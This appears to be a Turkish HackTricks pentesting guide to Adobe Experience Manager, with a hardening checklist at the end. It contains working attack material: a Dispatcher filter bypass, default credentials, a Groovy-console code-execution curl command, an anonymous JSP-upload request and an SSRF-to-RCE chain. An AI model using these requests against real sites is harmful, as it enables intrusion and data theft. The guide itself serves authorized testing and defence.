AEM (Adobe Experience Manager) Pentesting
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Adobe Experience Manager (AEM, Adobe Experience Cloud'ın bir parçası) Apache Sling/Felix (OSGi) ve bir Java İçerik Deposu (JCR) üzerinde çalışan bir kurumsal CMS'dir. Bir saldırgan perspektifinden AEM örnekleri genellikle tehlikeli geliştirme uç noktalarını, zayıf Dispatcher kurallarını, varsayılan kimlik bilgilerini ve her çeyrekte yamanan uzun bir CVE listesini açığa çıkarır.
Aşağıdaki kontrol listesi, gerçek etkileşimlerde (2022-2025) sürekli olarak ortaya çıkan dışarıdan erişilebilir (kimlik doğrulamasız) saldırı yüzeyine odaklanmaktadır.
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Diğer hızlı göstergeler:
/etc.clientlibs/
statik yolu mevcut (JS/CSS döner)./libs/granite/core/content/login.html
“Adobe Experience Manager” afişi ile giriş sayfası.</script><!--/* CQ */-->
HTML'nin altında yorum.
2. Yüksek değerli kimlik doğrulamasız uç noktalar
Path | Ne elde edersiniz | Notlar |
---|---|---|
/.json , /.1.json | JCR düğümleri aracılığıyla DefaultGetServlet | Genellikle engellenir, ancak Dispatcher bypass (aşağıya bakın) çalışır. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Sayfa ağacı, iç yollar, kullanıcı adlarının sızıntısı. |
/system/console/status-* , /system/console/bundles | OSGi/Felix konsolu | Varsayılan olarak 403; eğer açığa çıkmışsa ve kimlik bilgileri bulunursa ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Paket Yöneticisi | Kimlik doğrulamalı içerik paketlerine izin verir → JSP yükleme. |
/etc/groovyconsole/** | AEM Groovy Konsolu | Eğer açığa çıkmışsa → keyfi Groovy / Java yürütme. |
/libs/cq/AuditlogSearchServlet.json | Denetim günlükleri | Bilgi ifşası. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dökümü | XSS vektörü. |
Dispatcher bypass hilesi
Çoğu üretim sitesi Dispatcher (ters proxy) arkasında yer alır. Filtre kuralları, izin verilen bir statik uzantıyı bir noktalı virgülden veya kodlanmış yeni satırdan sonra ekleyerek atlatılabilir:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Tek bir istek yukarıda sıklıkla kullanıcı profil düğümlerini e-posta adresleriyle açığa çıkarır. P-T Partners bu zayıflık hakkında iyi bir rehber yayınladı. 【】
3. Yaygın yanlış yapılandırmalar (2025'te hala mevcut)
- Anonim POST servlet –
POST /.json
ile:operation=import
yeni JCR düğümleri oluşturmanıza izin verir. Dispatcher'da*.json
POST'u engellemek bunu düzeltir. 【】 - Herkese açık kullanıcı profilleri – varsayılan ACL,
/home/users/**/profile/*
üzerindejcr:read
iznini herkese verir. - Varsayılan kimlik bilgileri –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter etkin ⇒
?debug=layout
üzerinden yansıtılan XSS (CVE-2016-7882, hala eski 6.4 kurulumlarında bulunuyor). - Groovy Konsolu açığa çıktı – bir Groovy betiği göndererek uzaktan kod yürütme:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Son zamanlardaki güvenlik açıkları (hizmet paketi döngüsü)
Çeyrek | CVE | Etkilenen | Etki |
---|---|---|---|
Aralık 2024 | CVE-2024-43711 | 6.5.21 ve öncesi | Yanlış giriş doğrulaması → Rastgele kod yürütme (düşük ayrıcalıklı kimlik doğrulama gerektirir). 【】 |
Aralık 2024 | CVE-2024-43724/26 | 6.5.21 ve öncesi | DOM / Saklanan XSS Move Page Wizard'da. 【】 |
Aralık 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | Özel URL aracılığıyla DOM tabanlı XSS. 【】 |
Aralık 2022 | CVE-2022-30683 | ≤ 6.5.13 | Kripto tasarım hatası → gizli şifre çözme (düşük ayrıcalıklı kimlik bilgileri gerektirir). 【】 |
Her zaman müşterinin hizmet paketiyle eşleşen APSB bültenini kontrol edin ve en son 6.5.22 veya Cloud Service 2024.11 talep edin.
5. Sömürü parçaları
5.1 Dispatcher atlatma + JSP yükleme ile RCE
Eğer anonim yazma mümkünse:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Şimdi /content/evil.jsp
isteği yapın – JSP, AEM işlem kullanıcısı ile çalışır.
5.2 SSRF'den RCE'ye (tarihi < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem-hacker'dan aem_ssrf2rce.py
tam zinciri otomatikleştirir. 【】
6. Araçlar
- aem-hacker – İsviçre çakısı benzeri sayım scripti, dispatcher bypass, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler.
python3 aem_hacker.py -u https://target --host attacker-ip
- İçerik Brute-force – gizli bileşenleri keşfetmek için
/_jcr_content.(json|html)
isteğini yinelemeli olarak yapın. - osgi-infect – kimlik bilgileri mevcutsa
/system/console/bundles
üzerinden kötü niyetli OSGi paketi yükleyin.
7. Güçlendirme kontrol listesi (raporunuzun önerileri için)
- Örneği en son toplu hizmet paketinde tutun (Temmuz 2025 itibarıyla: 6.5.22).
- Varsayılan hesapları kaldırın/değiştirin; SSO/SAML'yi zorlayın.
- Dispatcher filtrelerini sıkılaştırın – anonim kullanıcılar için
;
, kodlanmış yeni satırlar ve*.json
veya*.querybuilder.json
'ı reddedin. - Konsolları (
/system/console
,/crx/*
,/etc/groovyconsole
) IP izin listeleri ile devre dışı bırakın veya koruyun. - Adobe tarafından gönderilen Anonim İzin Güçlendirme paketini uygulayın.
Referanslar
- Adobe Güvenlik Bülteni APSB24-69 – “Adobe Experience Manager için güvenlik güncellemeleri (Aralık 2024)”.
- 0ang3el – aem-hacker aracı (GitHub).
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.